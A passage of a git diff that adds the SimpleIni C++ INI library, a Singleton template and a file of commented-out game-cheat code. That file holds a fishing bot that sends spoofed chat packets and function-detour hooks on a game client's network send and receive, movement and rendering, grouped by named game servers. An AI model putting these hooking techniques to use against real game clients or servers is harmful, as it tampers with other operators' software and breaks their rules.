a_oOutput.Write(m_bSpaces ? " = " : "="); + if (m_bAllowMultiLine && IsMultiLineData(iValue->pItem)) { + // multi-line data needs to be processed specially to ensure + // that we use the correct newline format for the current system + a_oOutput.Write("<<pItem)) { + return SI_FAIL; + } + a_oOutput.Write("END_OF_TEXT"); + } + else { + a_oOutput.Write(convert.Data()); + } + a_oOutput.Write(SI_NEWLINE_A); + } + } + + bNeedNewLine = true; + } + + return SI_OK; +} + +template +bool +CSimpleIniTempl::OutputMultiLineText( + OutputWriter& a_oOutput, + Converter& a_oConverter, + const SI_CHAR* a_pText +) const +{ + const SI_CHAR* pEndOfLine; + SI_CHAR cEndOfLineChar = *a_pText; + while (cEndOfLineChar) { + // find the end of this line + pEndOfLine = a_pText; + for (; *pEndOfLine && *pEndOfLine != '\n'; ++pEndOfLine) /*loop*/; + cEndOfLineChar = *pEndOfLine; + + // temporarily null terminate, convert and output the line + *const_cast(pEndOfLine) = 0; + if (!a_oConverter.ConvertToStore(a_pText)) { + return false; + } + *const_cast(pEndOfLine) = cEndOfLineChar; + a_pText += (pEndOfLine - a_pText) + 1; + a_oOutput.Write(a_oConverter.Data()); + a_oOutput.Write(SI_NEWLINE_A); + } + return true; +} + +template +bool +CSimpleIniTempl::Delete( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + bool a_bRemoveEmpty +) +{ + return DeleteValue(a_pSection, a_pKey, NULL, a_bRemoveEmpty); +} + +template +bool +CSimpleIniTempl::DeleteValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + const SI_CHAR* a_pValue, + bool a_bRemoveEmpty +) +{ + if (!a_pSection) { + return false; + } + + typename TSection::iterator iSection = m_data.find(a_pSection); + if (iSection == m_data.end()) { + return false; + } + + // remove a single key if we have a keyname + if (a_pKey) { + typename TKeyVal::iterator iKeyVal = iSection->second.find(a_pKey); + if (iKeyVal == iSection->second.end()) { + return false; + } + + const static SI_STRLESS isLess = SI_STRLESS(); + + // remove any copied strings and then the key + typename TKeyVal::iterator iDelete; + bool bDeleted = false; + do { + iDelete = iKeyVal++; + + if (a_pValue == NULL || + (isLess(a_pValue, iDelete->second) == false && + isLess(iDelete->second, a_pValue) == false)) { + DeleteString(iDelete->first.pItem); + DeleteString(iDelete->second); + iSection->second.erase(iDelete); + bDeleted = true; + } + } while (iKeyVal != iSection->second.end() + && !IsLess(a_pKey, iKeyVal->first.pItem)); + + if (!bDeleted) { + return false; + } + + // done now if the section is not empty or we are not pruning away + // the empty sections. Otherwise let it fall through into the section + // deletion code + if (!a_bRemoveEmpty || !iSection->second.empty()) { + return true; + } + } + else { + // delete all copied strings from this section. The actual + // entries will be removed when the section is removed. + typename TKeyVal::iterator iKeyVal = iSection->second.begin(); + for (; iKeyVal != iSection->second.end(); ++iKeyVal) { + DeleteString(iKeyVal->first.pItem); + DeleteString(iKeyVal->second); + } + } + + // delete the section itself + DeleteString(iSection->first.pItem); + m_data.erase(iSection); + + return true; +} + +template +void +CSimpleIniTempl::DeleteString( + const SI_CHAR* a_pString +) +{ + // strings may exist either inside the data block, or they will be + // individually allocated and stored in m_strings. We only physically + // delete those stored in m_strings. + if (a_pString < m_pData || a_pString >= m_pData + m_uDataLen) { + typename TNamesDepend::iterator i = m_strings.begin(); + for (; i != m_strings.end(); ++i) { + if (a_pString == i->pItem) { + delete[] const_cast(i->pItem); + m_strings.erase(i); + break; + } + } + } +} + +// --------------------------------------------------------------------------- +// CONVERSION FUNCTIONS +// --------------------------------------------------------------------------- + +// Defines the conversion classes for different libraries. Before including +// SimpleIni.h, set the converter that you wish you use by defining one of the +// following symbols. +// +// SI_CONVERT_GENERIC Use the Unicode reference conversion library in +// the accompanying files ConvertUTF.h/c +// SI_CONVERT_ICU Use the IBM ICU conversion library. Requires +// ICU headers on include path and icuuc.lib +// SI_CONVERT_WIN32 Use the Win32 API functions for conversion. + +#if !defined(SI_CONVERT_GENERIC) && !defined(SI_CONVERT_WIN32) && !defined(SI_CONVERT_ICU) +# ifdef _WIN32 +# define SI_CONVERT_WIN32 +# else +# define SI_CONVERT_GENERIC +# endif +#endif + +/** + * Generic case-sensitive less than comparison. This class returns numerically + * ordered ASCII case-sensitive text for all possible sizes and types of + * SI_CHAR. + */ +template +struct SI_GenericCase { + bool operator()(const SI_CHAR* pLeft, const SI_CHAR* pRight) const { + long cmp; + for (; *pLeft && *pRight; ++pLeft, ++pRight) { + cmp = (long)*pLeft - (long)*pRight; + if (cmp != 0) { + return cmp < 0; + } + } + return *pRight != 0; + } +}; + +/** + * Generic ASCII case-insensitive less than comparison. This class returns + * numerically ordered ASCII case-insensitive text for all possible sizes + * and types of SI_CHAR. It is not safe for MBCS text comparison where + * ASCII A-Z characters are used in the encoding of multi-byte characters. + */ +template +struct SI_GenericNoCase { + inline SI_CHAR locase(SI_CHAR ch) const { + return (ch < 'A' || ch > 'Z') ? ch : (ch - 'A' + 'a'); + } + bool operator()(const SI_CHAR* pLeft, const SI_CHAR* pRight) const { + long cmp; + for (; *pLeft && *pRight; ++pLeft, ++pRight) { + cmp = (long)locase(*pLeft) - (long)locase(*pRight); + if (cmp != 0) { + return cmp < 0; + } + } + return *pRight != 0; + } +}; + +/** + * Null conversion class for MBCS/UTF-8 to char (or equivalent). + */ +template +class SI_ConvertA { + bool m_bStoreIsUtf8; +protected: + SI_ConvertA() { } +public: + SI_ConvertA(bool a_bStoreIsUtf8) : m_bStoreIsUtf8(a_bStoreIsUtf8) { } + + /* copy and assignment */ + SI_ConvertA(const SI_ConvertA& rhs) { operator=(rhs); } + SI_ConvertA& operator=(const SI_ConvertA& rhs) { + m_bStoreIsUtf8 = rhs.m_bStoreIsUtf8; + return *this; + } + + /** Calculate the number of SI_CHAR required for converting the input + * from the storage format. The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to SI_CHAR. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @return Number of SI_CHAR required by the string when + * converted. If there are embedded NULL bytes in the + * input data, only the string up and not including + * the NULL byte will be converted. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeFromStore( + const char* a_pInputData, + size_t a_uInputDataLen) + { + (void)a_pInputData; + SI_ASSERT(a_uInputDataLen != (size_t)-1); + + // ASCII/MBCS/UTF-8 needs no conversion + return a_uInputDataLen; + } + + /** Convert the input string from the storage format to SI_CHAR. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to SI_CHAR. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @param a_pOutputData Pointer to the output buffer to received the + * converted data. + * @param a_uOutputDataSize Size of the output buffer in SI_CHAR. + * @return true if all of the input data was successfully + * converted. + */ + bool ConvertFromStore( + const char* a_pInputData, + size_t a_uInputDataLen, + SI_CHAR* a_pOutputData, + size_t a_uOutputDataSize) + { + // ASCII/MBCS/UTF-8 needs no conversion + if (a_uInputDataLen > a_uOutputDataSize) { + return false; + } + memcpy(a_pOutputData, a_pInputData, a_uInputDataLen); + return true; + } + + /** Calculate the number of char required by the storage format of this + * data. The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData NULL terminated string to calculate the number of + * bytes required to be converted to storage format. + * @return Number of bytes required by the string when + * converted to storage format. This size always + * includes space for the terminating NULL character. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeToStore( + const SI_CHAR* a_pInputData) + { + // ASCII/MBCS/UTF-8 needs no conversion + return strlen((const char*)a_pInputData) + 1; + } + + /** Convert the input string to the storage format of this data. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData NULL terminated source string to convert. All of + * the data will be converted including the + * terminating NULL character. + * @param a_pOutputData Pointer to the buffer to receive the converted + * string. + * @param a_uOutputDataSize Size of the output buffer in char. + * @return true if all of the input data, including the + * terminating NULL character was successfully + * converted. + */ + bool ConvertToStore( + const SI_CHAR* a_pInputData, + char* a_pOutputData, + size_t a_uOutputDataSize) + { + // calc input string length (SI_CHAR type and size independent) + size_t uInputLen = strlen((const char*)a_pInputData) + 1; + if (uInputLen > a_uOutputDataSize) { + return false; + } + + // ascii/UTF-8 needs no conversion + memcpy(a_pOutputData, a_pInputData, uInputLen); + return true; + } +}; + + +// --------------------------------------------------------------------------- +// SI_CONVERT_GENERIC +// --------------------------------------------------------------------------- +#ifdef SI_CONVERT_GENERIC + +#define SI_Case SI_GenericCase +#define SI_NoCase SI_GenericNoCase + +#include +#include "ConvertUTF.h" + +/** + * Converts UTF-8 to a wchar_t (or equivalent) using the Unicode reference + * library functions. This can be used on all platforms. + */ +template +class SI_ConvertW { + bool m_bStoreIsUtf8; +protected: + SI_ConvertW() { } +public: + SI_ConvertW(bool a_bStoreIsUtf8) : m_bStoreIsUtf8(a_bStoreIsUtf8) { } + + /* copy and assignment */ + SI_ConvertW(const SI_ConvertW& rhs) { operator=(rhs); } + SI_ConvertW& operator=(const SI_ConvertW& rhs) { + m_bStoreIsUtf8 = rhs.m_bStoreIsUtf8; + return *this; + } + + /** Calculate the number of SI_CHAR required for converting the input + * from the storage format. The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to SI_CHAR. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @return Number of SI_CHAR required by the string when + * converted. If there are embedded NULL bytes in the + * input data, only the string up and not including + * the NULL byte will be converted. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeFromStore( + const char* a_pInputData, + size_t a_uInputDataLen) + { + SI_ASSERT(a_uInputDataLen != (size_t)-1); + + if (m_bStoreIsUtf8) { + // worst case scenario for UTF-8 to wchar_t is 1 char -> 1 wchar_t + // so we just return the same number of characters required as for + // the source text. + return a_uInputDataLen; + } + +#if defined(SI_NO_MBSTOWCS_NULL) || (!defined(_MSC_VER) && !defined(_linux)) + // fall back processing for platforms that don't support a NULL dest to mbstowcs + // worst case scenario is 1:1, this will be a sufficient buffer size + (void)a_pInputData; + return a_uInputDataLen; +#else + // get the actual required buffer size + return mbstowcs(NULL, a_pInputData, a_uInputDataLen); +#endif + } + + /** Convert the input string from the storage format to SI_CHAR. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to SI_CHAR. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @param a_pOutputData Pointer to the output buffer to received the + * converted data. + * @param a_uOutputDataSize Size of the output buffer in SI_CHAR. + * @return true if all of the input data was successfully + * converted. + */ + bool ConvertFromStore( + const char* a_pInputData, + size_t a_uInputDataLen, + SI_CHAR* a_pOutputData, + size_t a_uOutputDataSize) + { + if (m_bStoreIsUtf8) { + // This uses the Unicode reference implementation to do the + // conversion from UTF-8 to wchar_t. The required files are + // ConvertUTF.h and ConvertUTF.c which should be included in + // the distribution but are publically available from unicode.org + // at http://www.unicode.org/Public/PROGRAMS/CVTUTF/ + ConversionResult retval; + const UTF8* pUtf8 = (const UTF8*)a_pInputData; + if (sizeof(wchar_t) == sizeof(UTF32)) { + UTF32* pUtf32 = (UTF32*)a_pOutputData; + retval = ConvertUTF8toUTF32( + &pUtf8, pUtf8 + a_uInputDataLen, + &pUtf32, pUtf32 + a_uOutputDataSize, + lenientConversion); + } + else if (sizeof(wchar_t) == sizeof(UTF16)) { + UTF16* pUtf16 = (UTF16*)a_pOutputData; + retval = ConvertUTF8toUTF16( + &pUtf8, pUtf8 + a_uInputDataLen, + &pUtf16, pUtf16 + a_uOutputDataSize, + lenientConversion); + } + return retval == conversionOK; + } + + // convert to wchar_t + size_t retval = mbstowcs(a_pOutputData, + a_pInputData, a_uOutputDataSize); + return retval != (size_t)(-1); + } + + /** Calculate the number of char required by the storage format of this + * data. The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData NULL terminated string to calculate the number of + * bytes required to be converted to storage format. + * @return Number of bytes required by the string when + * converted to storage format. This size always + * includes space for the terminating NULL character. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeToStore( + const SI_CHAR* a_pInputData) + { + if (m_bStoreIsUtf8) { + // worst case scenario for wchar_t to UTF-8 is 1 wchar_t -> 6 char + size_t uLen = 0; + while (a_pInputData[uLen]) { + ++uLen; + } + return (6 * uLen) + 1; + } + else { + size_t uLen = wcstombs(NULL, a_pInputData, 0); + if (uLen == (size_t)(-1)) { + return uLen; + } + return uLen + 1; // include NULL terminator + } + } + + /** Convert the input string to the storage format of this data. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData NULL terminated source string to convert. All of + * the data will be converted including the + * terminating NULL character. + * @param a_pOutputData Pointer to the buffer to receive the converted + * string. + * @param a_uOutputDataSize Size of the output buffer in char. + * @return true if all of the input data, including the + * terminating NULL character was successfully + * converted. + */ + bool ConvertToStore( + const SI_CHAR* a_pInputData, + char* a_pOutputData, + size_t a_uOutputDataSize + ) + { + if (m_bStoreIsUtf8) { + // calc input string length (SI_CHAR type and size independent) + size_t uInputLen = 0; + while (a_pInputData[uInputLen]) { + ++uInputLen; + } + ++uInputLen; // include the NULL char + + // This uses the Unicode reference implementation to do the + // conversion from wchar_t to UTF-8. The required files are + // ConvertUTF.h and ConvertUTF.c which should be included in + // the distribution but are publically available from unicode.org + // at http://www.unicode.org/Public/PROGRAMS/CVTUTF/ + ConversionResult retval; + UTF8* pUtf8 = (UTF8*)a_pOutputData; + if (sizeof(wchar_t) == sizeof(UTF32)) { + const UTF32* pUtf32 = (const UTF32*)a_pInputData; + retval = ConvertUTF32toUTF8( + &pUtf32, pUtf32 + uInputLen, + &pUtf8, pUtf8 + a_uOutputDataSize, + lenientConversion); + } + else if (sizeof(wchar_t) == sizeof(UTF16)) { + const UTF16* pUtf16 = (const UTF16*)a_pInputData; + retval = ConvertUTF16toUTF8( + &pUtf16, pUtf16 + uInputLen, + &pUtf8, pUtf8 + a_uOutputDataSize, + lenientConversion); + } + return retval == conversionOK; + } + else { + size_t retval = wcstombs(a_pOutputData, + a_pInputData, a_uOutputDataSize); + return retval != (size_t)-1; + } + } +}; + +#endif // SI_CONVERT_GENERIC + + +// --------------------------------------------------------------------------- +// SI_CONVERT_ICU +// --------------------------------------------------------------------------- +#ifdef SI_CONVERT_ICU + +#define SI_Case SI_GenericCase +#define SI_NoCase SI_GenericNoCase + +#include + +/** + * Converts MBCS/UTF-8 to UChar using ICU. This can be used on all platforms. + */ +template +class SI_ConvertW { + const char* m_pEncoding; + UConverter* m_pConverter; +protected: + SI_ConvertW() : m_pEncoding(NULL), m_pConverter(NULL) { } +public: + SI_ConvertW(bool a_bStoreIsUtf8) : m_pConverter(NULL) { + m_pEncoding = a_bStoreIsUtf8 ? "UTF-8" : NULL; + } + + /* copy and assignment */ + SI_ConvertW(const SI_ConvertW& rhs) { operator=(rhs); } + SI_ConvertW& operator=(const SI_ConvertW& rhs) { + m_pEncoding = rhs.m_pEncoding; + m_pConverter = NULL; + return *this; + } + ~SI_ConvertW() { if (m_pConverter) ucnv_close(m_pConverter); } + + /** Calculate the number of UChar required for converting the input + * from the storage format. The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to UChar. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @return Number of UChar required by the string when + * converted. If there are embedded NULL bytes in the + * input data, only the string up and not including + * the NULL byte will be converted. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeFromStore( + const char* a_pInputData, + size_t a_uInputDataLen) + { + SI_ASSERT(a_uInputDataLen != (size_t)-1); + + UErrorCode nError; + + if (!m_pConverter) { + nError = U_ZERO_ERROR; + m_pConverter = ucnv_open(m_pEncoding, &nError); + if (U_FAILURE(nError)) { + return (size_t)-1; + } + } + + nError = U_ZERO_ERROR; + int32_t nLen = ucnv_toUChars(m_pConverter, NULL, 0, + a_pInputData, (int32_t)a_uInputDataLen, &nError); + if (U_FAILURE(nError) && nError != U_BUFFER_OVERFLOW_ERROR) { + return (size_t)-1; + } + + return (size_t)nLen; + } + + /** Convert the input string from the storage format to UChar. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to UChar. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @param a_pOutputData Pointer to the output buffer to received the + * converted data. + * @param a_uOutputDataSize Size of the output buffer in UChar. + * @return true if all of the input data was successfully + * converted. + */ + bool ConvertFromStore( + const char* a_pInputData, + size_t a_uInputDataLen, + UChar* a_pOutputData, + size_t a_uOutputDataSize) + { + UErrorCode nError; + + if (!m_pConverter) { + nError = U_ZERO_ERROR; + m_pConverter = ucnv_open(m_pEncoding, &nError); + if (U_FAILURE(nError)) { + return false; + } + } + + nError = U_ZERO_ERROR; + ucnv_toUChars(m_pConverter, + a_pOutputData, (int32_t)a_uOutputDataSize, + a_pInputData, (int32_t)a_uInputDataLen, &nError); + if (U_FAILURE(nError)) { + return false; + } + + return true; + } + + /** Calculate the number of char required by the storage format of this + * data. The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData NULL terminated string to calculate the number of + * bytes required to be converted to storage format. + * @return Number of bytes required by the string when + * converted to storage format. This size always + * includes space for the terminating NULL character. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeToStore( + const UChar* a_pInputData) + { + UErrorCode nError; + + if (!m_pConverter) { + nError = U_ZERO_ERROR; + m_pConverter = ucnv_open(m_pEncoding, &nError); + if (U_FAILURE(nError)) { + return (size_t)-1; + } + } + + nError = U_ZERO_ERROR; + int32_t nLen = ucnv_fromUChars(m_pConverter, NULL, 0, + a_pInputData, -1, &nError); + if (U_FAILURE(nError) && nError != U_BUFFER_OVERFLOW_ERROR) { + return (size_t)-1; + } + + return (size_t)nLen + 1; + } + + /** Convert the input string to the storage format of this data. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData NULL terminated source string to convert. All of + * the data will be converted including the + * terminating NULL character. + * @param a_pOutputData Pointer to the buffer to receive the converted + * string. + * @param a_pOutputDataSize Size of the output buffer in char. + * @return true if all of the input data, including the + * terminating NULL character was successfully + * converted. + */ + bool ConvertToStore( + const UChar* a_pInputData, + char* a_pOutputData, + size_t a_uOutputDataSize) + { + UErrorCode nError; + + if (!m_pConverter) { + nError = U_ZERO_ERROR; + m_pConverter = ucnv_open(m_pEncoding, &nError); + if (U_FAILURE(nError)) { + return false; + } + } + + nError = U_ZERO_ERROR; + ucnv_fromUChars(m_pConverter, + a_pOutputData, (int32_t)a_uOutputDataSize, + a_pInputData, -1, &nError); + if (U_FAILURE(nError)) { + return false; + } + + return true; + } +}; + +#endif // SI_CONVERT_ICU + + +// --------------------------------------------------------------------------- +// SI_CONVERT_WIN32 +// --------------------------------------------------------------------------- +#ifdef SI_CONVERT_WIN32 + +#define SI_Case SI_GenericCase + +// Windows CE doesn't have errno or MBCS libraries +#ifdef _WIN32_WCE +# ifndef SI_NO_MBCS +# define SI_NO_MBCS +# endif +#endif + +#include +#ifdef SI_NO_MBCS +# define SI_NoCase SI_GenericNoCase +#else // !SI_NO_MBCS +/** + * Case-insensitive comparison class using Win32 MBCS functions. This class + * returns a case-insensitive semi-collation order for MBCS text. It may not + * be safe for UTF-8 text returned in char format as we don't know what + * characters will be folded by the function! Therefore, if you are using + * SI_CHAR == char and SetUnicode(true), then you need to use the generic + * SI_NoCase class instead. + */ +#include +template +struct SI_NoCase { + bool operator()(const SI_CHAR* pLeft, const SI_CHAR* pRight) const { + if (sizeof(SI_CHAR) == sizeof(char)) { + return _mbsicmp((const unsigned char*)pLeft, + (const unsigned char*)pRight) < 0; + } + if (sizeof(SI_CHAR) == sizeof(wchar_t)) { + return _wcsicmp((const wchar_t*)pLeft, + (const wchar_t*)pRight) < 0; + } + return SI_GenericNoCase()(pLeft, pRight); + } +}; +#endif // SI_NO_MBCS + +/** + * Converts MBCS and UTF-8 to a wchar_t (or equivalent) on Windows. This uses + * only the Win32 functions and doesn't require the external Unicode UTF-8 + * conversion library. It will not work on Windows 95 without using Microsoft + * Layer for Unicode in your application. + */ +template +class SI_ConvertW { + UINT m_uCodePage; +protected: + SI_ConvertW() { } +public: + SI_ConvertW(bool a_bStoreIsUtf8) { + m_uCodePage = a_bStoreIsUtf8 ? CP_UTF8 : CP_ACP; + } + + /* copy and assignment */ + SI_ConvertW(const SI_ConvertW& rhs) { operator=(rhs); } + SI_ConvertW& operator=(const SI_ConvertW& rhs) { + m_uCodePage = rhs.m_uCodePage; + return *this; + } + + /** Calculate the number of SI_CHAR required for converting the input + * from the storage format. The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to SI_CHAR. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @return Number of SI_CHAR required by the string when + * converted. If there are embedded NULL bytes in the + * input data, only the string up and not including + * the NULL byte will be converted. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeFromStore( + const char* a_pInputData, + size_t a_uInputDataLen) + { + SI_ASSERT(a_uInputDataLen != (size_t)-1); + + int retval = MultiByteToWideChar( + m_uCodePage, 0, + a_pInputData, (int)a_uInputDataLen, + 0, 0); + return (size_t)(retval > 0 ? retval : -1); + } + + /** Convert the input string from the storage format to SI_CHAR. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData Data in storage format to be converted to SI_CHAR. + * @param a_uInputDataLen Length of storage format data in bytes. This + * must be the actual length of the data, including + * NULL byte if NULL terminated string is required. + * @param a_pOutputData Pointer to the output buffer to received the + * converted data. + * @param a_uOutputDataSize Size of the output buffer in SI_CHAR. + * @return true if all of the input data was successfully + * converted. + */ + bool ConvertFromStore( + const char* a_pInputData, + size_t a_uInputDataLen, + SI_CHAR* a_pOutputData, + size_t a_uOutputDataSize) + { + int nSize = MultiByteToWideChar( + m_uCodePage, 0, + a_pInputData, (int)a_uInputDataLen, + (wchar_t*)a_pOutputData, (int)a_uOutputDataSize); + return (nSize > 0); + } + + /** Calculate the number of char required by the storage format of this + * data. The storage format is always UTF-8. + * + * @param a_pInputData NULL terminated string to calculate the number of + * bytes required to be converted to storage format. + * @return Number of bytes required by the string when + * converted to storage format. This size always + * includes space for the terminating NULL character. + * @return -1 cast to size_t on a conversion error. + */ + size_t SizeToStore( + const SI_CHAR* a_pInputData) + { + int retval = WideCharToMultiByte( + m_uCodePage, 0, + (const wchar_t*)a_pInputData, -1, + 0, 0, 0, 0); + return (size_t)(retval > 0 ? retval : -1); + } + + /** Convert the input string to the storage format of this data. + * The storage format is always UTF-8 or MBCS. + * + * @param a_pInputData NULL terminated source string to convert. All of + * the data will be converted including the + * terminating NULL character. + * @param a_pOutputData Pointer to the buffer to receive the converted + * string. + * @param a_pOutputDataSize Size of the output buffer in char. + * @return true if all of the input data, including the + * terminating NULL character was successfully + * converted. + */ + bool ConvertToStore( + const SI_CHAR* a_pInputData, + char* a_pOutputData, + size_t a_uOutputDataSize) + { + int retval = WideCharToMultiByte( + m_uCodePage, 0, + (const wchar_t*)a_pInputData, -1, + a_pOutputData, (int)a_uOutputDataSize, 0, 0); + return retval > 0; + } +}; + +#endif // SI_CONVERT_WIN32 + + +// --------------------------------------------------------------------------- +// TYPE DEFINITIONS +// --------------------------------------------------------------------------- + +typedef CSimpleIniTempl, SI_ConvertA > CSimpleIniA; +typedef CSimpleIniTempl, SI_ConvertA > CSimpleIniCaseA; + +#if defined(SI_CONVERT_ICU) +typedef CSimpleIniTempl, SI_ConvertW > CSimpleIniW; +typedef CSimpleIniTempl, SI_ConvertW > CSimpleIniCaseW; +#else +typedef CSimpleIniTempl, SI_ConvertW > CSimpleIniW; +typedef CSimpleIniTempl, SI_ConvertW > CSimpleIniCaseW; +#endif + +#ifdef _UNICODE +# define CSimpleIni CSimpleIniW +# define CSimpleIniCase CSimpleIniCaseW +# define SI_NEWLINE SI_NEWLINE_W +#else // !_UNICODE +# define CSimpleIni CSimpleIniA +# define CSimpleIniCase CSimpleIniCaseA +# define SI_NEWLINE SI_NEWLINE_A +#endif // _UNICODE + +#ifdef _MSC_VER +# pragma warning (pop) +#endif + +#endif // INCLUDED_SimpleIni_h diff --git a/EngineX-Pro/Singleton.h b/EngineX-Pro/Singleton.h new file mode 100644 index 0000000..b0b07c0 --- /dev/null +++ b/EngineX-Pro/Singleton.h @@ -0,0 +1,41 @@ +#pragma once + +template class Singleton +{ + static T* ms_singleton; + +public: + Singleton() + { + + int offset = (int)(T*)1 - (int)(Singleton *) (T*) 1; + ms_singleton = (T*)((int)this + offset); + } + + virtual ~Singleton() + { + + ms_singleton = 0; + } + + __forceinline static T& Instance() + { + + return (*ms_singleton); + } + + __forceinline static T* InstancePtr() + { + return (ms_singleton); + } + + __forceinline static T& instance() + { + + return (*ms_singleton); + } +}; + +template T* Singleton ::ms_singleton = 0; + + diff --git a/EngineX-Pro/Smietnik.h b/EngineX-Pro/Smietnik.h new file mode 100644 index 0000000..0e212fd --- /dev/null +++ b/EngineX-Pro/Smietnik.h @@ -0,0 +1,1119 @@ +#pragma once +//bool _fastcall Hooks::NewCEffectManagerRegisterEffect2(void* This, void* EDX, const char* c_szFileName, DWORD* pdwRetCRC, bool isNeedCache) +//{ +// +//#if defined(PANGEA) +// FishBot::ParseMessage(c_szFileName); +// +//#endif +// +// return nCEffectManagerRegisterEffect2(This, c_szFileName, pdwRetCRC, isNeedCache); +//} + + + +//################################################################################################################################################## +//static void FishingSielu(LPVOID line) +//{ +// DWORD time = GetTickCount(); +// vector mili; +// string str1 = (const char*)line; +// string str2 = StringExtension::ReplaceString(str1, "LowienieRn ", ""); +// +// std::string delimiter = "|"; +// +// size_t pos = 0; +// std::string token; +// while ((pos = str2.find(delimiter)) != std::string::npos) { +// token = str2.substr(0, pos); +// mili.push_back(stoi(token)); +// str2.erase(0, pos + delimiter.length()); +// } +// mili.push_back(stoi(str2)); +// int u[4]; +// u[0] = (mili[0]) * 9; +// u[1] = (mili[1] - mili[0]) * 9; +// u[2] = (mili[2] - mili[1])*9; +// u[3] = (mili[3] - mili[2]) * 9; +// for (int i = 0; i < 4; i++) +// { +// Sleep(u[i]); +// GameFunctions::PythonPlayerNEW_Fishing(); +// } +// string uu = "/fevent " + to_string((mili[0] + mili[1] + mili[2] + mili[3] )- 8); +// Hooks::nCPythonNetworkStreamSendChatPacket((void*)Globals::iCPythonNetworkStreamInstance, uu.c_str(), 0); +// Sleep(8000); +// +// GameFunctions::NetworkStreamSendItemUsePacket(0); +// GameFunctions::PythonPlayerNEW_Fishing(); +//} + + +//#ifdef RUBINUM +// +//nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//#endif +//#ifdef AZENTIS +// +// +// +// +// +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//#endif +//#ifdef TAMIDIA_SE +// +// +// +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//#endif +//#ifdef AKADEMIA_NERWIA +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = 